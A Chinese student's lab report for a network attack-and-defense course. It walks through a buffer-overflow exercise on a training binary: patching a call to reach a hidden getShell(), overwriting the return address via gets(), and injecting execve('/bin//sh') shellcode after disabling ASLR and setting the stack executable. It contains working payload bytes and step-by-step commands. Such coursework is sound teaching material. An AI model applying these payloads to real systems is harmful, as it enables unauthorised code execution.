20252819 2025-2026-2 《网络攻防实践》第九周作业
20252819 2025-2026-2《网络攻防实践》实践九实验报告
一、实验基本信息
- 实验名称: 缓冲区溢出与Shellcode注入实验
- 实验环境: Kali Linux
- 实验工具: objdump、gdb、vim、execstack
- 实验对象: pwn1可执行文件
二、实验目的
- 学习缓冲区溢出漏洞的形成原因与利用方式;
- 掌握Linux环境下二进制程序的分析方法;
- 学习通过修改可执行文件改变程序执行流程;
- 掌握覆盖返回地址实现程序劫持的方法;
- 理解Shellcode注入与执行过程。
三、实验原理
缓冲区溢出漏洞是由于程序在向固定长度缓冲区写入数据时缺乏边界检查,导致多余数据覆盖相邻内存区域。攻击者可以利用该漏洞修改函数返回地址,使程序跳转到指定位置执行恶意代码。
本实验主要利用程序中的 gets() 函数漏洞。由于 gets() 不会检查输入长度,因此输入超长字符串时会覆盖栈中的返回地址。通过精心构造输入数据,可以实现:
- 修改程序执行流程;
- 调用隐藏函数;
- 执行Shellcode并获取Shell。
四、实验过程
(一)修改可执行文件实现程序流程劫持
1. 修改主机名与实验文件名
首先根据实验要求修改主机名,并重命名实验文件。
hostname csy20252819
mv pwn1 pwn20252819csy


2. 分析程序结构
使用 objdump 对程序进行反汇编,查看函数调用关系。
objdump -d pwn20252819csy | more

通过分析发现:
-
main()函数会调用foo();
![image]()
-
程序中存在
getShell()函数; -
正常情况下不会进入
getShell()。
因此可以通过修改 call 指令偏移量,使程序直接跳转到 getShell()。
3. 修改二进制文件
利用 vim 以十六进制形式打开文件:
vim pwn20252819csy

改为16进制查看
Esc 键,然后输入冒号 :,再输入命令: :%!xxd
:%!xxd

找到对应的 call 指令后,将其修改为跳转到 getShell() 的偏移地址。让函数返回时不再回到 main,直接跳转到 getShell 函数。将d7 改为 c3。
按ESC,输入:%!xxd -r 还原为原格式后再:wq保存退出。
:%!xxd -r


4. 验证实验结果
重新查看反汇编结果:
objdump -d pwn20252819csy | more

确认程序已经跳转到 getShell()。
由于修改文件后执行权限消失,需要重新赋予权限:
chmod +x ./pwn20252819csy

随后执行程序:
./pwn20252819csy

成功获得Shell,说明程序流程劫持成功。
(二)缓冲区溢出覆盖返回地址实验
1. 准备实验文件
重新复制原始程序:
mv pwn1 pwn20252819csy02

2. 分析漏洞位置
再次使用 objdump 查看程序:
objdump -d pwn20252819csy02 | more

发现程序内部调用了 gets() 函数,因此存在典型的栈溢出漏洞。
3. 构造攻击字符串
通过分析得到 getShell() 函数地址:
0x0804847d
由于Linux采用小端存储,因此需要反向写入:
perl -e 'print "csycsycsycsycsycsycsycsycsycsycs\x7d\x84\x04\x08"' > input20252819
4. 查看Payload内容
xxd input20252819

确认返回地址已经正确写入。
5. 执行攻击
(cat input20252819;cat) | ./pwn20252819csy02

程序成功进入 getShell(),获取Shell权限。
6. 使用gdb分析栈结构
安装gdb:
sudo apt install gdb -y

下载失败
分析原因是部分 Kali 官方源( http://kali.org )的包返回了 404 Not Found,导致安装中断。
备份并更换为稳定的清华源
bash
运行
备份原来的源文件
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
# 编辑源文件
sudo nano /etc/apt/sources.list
把里面所有内容删掉,只保留这两行:
plaintext
deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib
按 Ctrl+O 保存,Ctrl+X 退出。

sudo apt install gdb -y重新安装

安装成功
an
进入调试:
gdb pwn20252819csy02

输入大量字符后查看寄存器:输入r执行程序,连续输入 5 遍1234567890(总计 50 个字符)

info r

观察到:
EIP = 0x36353433
对应ASCII字符:
3456
说明返回地址从第33个字节开始被覆盖,因此缓冲区大小为32字节。
7. 构造最终Payload
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > csy_input

再次执行:
(cat csy_input;cat) | ./pwn20252819csy02

成功获取Shell。
(三)Shellcode注入实验
1. 设置栈可执行
下载并安装 execstack:
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb

解压压缩包
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

设置程序栈可执行:
execstack -s pwn20252819csy02//设置为可执行状态
execstack -q pwn20252819csy02//检查是否设置成功

2. 关闭ASLR
为了保证Shellcode地址固定,需要关闭地址随机化机制:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space//关闭地址随机化
more /proc/sys/kernel/randomize_va_space //检查是否关闭地址随机化,输出0成功关闭;

3. 构造Shellcode
构造包含NOP滑板与Shellcode的payload:
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
4. 执行程序
(cat input_20252819;cat) | ./pwn20252819csy02

打开一个新的终端查看pwn20252819csy02文件地进程以及进程号
ps -ef | grep pwn20252819csy02

随后利用gdb附加调试:
gdb pwn20252819csy02

将 gdb 附加到正在运行的进程(103882),反汇编 foo 函数,查看其汇编代码了解其内部结构。在地址 0x080484ae 处设置一个断点。
0x080484ae 是 foo 函数中 ret 指令的地址。设置断点后,当程序执行到 ret 指令时会暂停,此时可以查看返回地址是否被成功覆盖,以及堆栈的状态。
attach 103882
disassemble foo
break *0x080484ae
查看栈内存与ESP寄存器内容,确定Shellcode所在地址。
终端1按回车后,在终端2输入c 继续运行。使用info r esp查看到栈顶指针所在的位置是0xffffcf5c
shellcode的地址为栈顶指针的地址 + 4= 0xffffcf5c + 4 = 0xffffcf60,
info r esp
x/16x 0xffffcf5c

5. 构造最终利用代码
退出gbd调试,重新构造 input_20252819文件,输入指令测试是否拿到shell
perl -e 'print "A" x 32; print "\x60\xcf\xff\xff"; print "\x90"x16; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input
(cat input_20252819;cat) | ./pwn20252819csy02
Ls
Whoami

执行后成功获得Shell。
说明Shellcode注入成功。
五、实验中遇到的问题及解决方法
| 问题 | 解决方法 |
|---|---|
| 修改文件后无法执行 | 使用 chmod +x 文件名 重新赋予权限 |
| 系统未安装gdb | 使用 sudo apt install gdb -y 安装 |
| execstack无法直接安装 | 下载对应deb包后手动安装 |
| 关闭ASLR失败 | 使用 sudo tee 提升权限 |
| Shellcode地址不稳定 | 关闭ASLR并使用gdb定位地址 |
六、实验总结
通过本次实验,我对缓冲区溢出漏洞的形成原因、利用方式以及整个攻击流程都有了更加深入的理解。以前只是停留在理论层面,知道缓冲区溢出可以覆盖返回地址,但这次是第一次真正自己动手完成从程序分析、漏洞定位到最终获取Shell的全过程,对二进制漏洞利用有了更直观的认识。实验过程中,我学习了如何使用 objdump 对程序进行反汇编分析,理解了函数调用过程以及栈空间的变化,也掌握了利用 gdb 调试程序、查看寄存器和分析内存的方法。
在实验中,我先通过修改二进制文件中的 call 指令实现程序流程劫持,然后又利用 gets() 函数存在的漏洞,通过构造特定输入覆盖函数返回地址,使程序跳转到 getShell() 函数。后面的Shellcode注入实验难度更高,需要关闭ASLR、设置栈可执行、分析ESP寄存器位置并不断调整payload,整个过程让我更加理解了Linux系统中的栈结构和内存布局。虽然调试过程中遇到了权限不足、工具缺失、地址不稳定等问题,但通过查阅资料和反复尝试,最终都成功解决了。
通过这次实验,我不仅掌握了缓冲区溢出攻击的基本方法,也进一步认识到了DEP、ASLR等安全防护机制的重要性。同时,这次实验还提升了我在Linux环境下分析程序、调试程序以及解决问题的能力,对后续学习网络攻防和二进制安全相关知识有很大的帮助。

浙公网安备 33010602011771号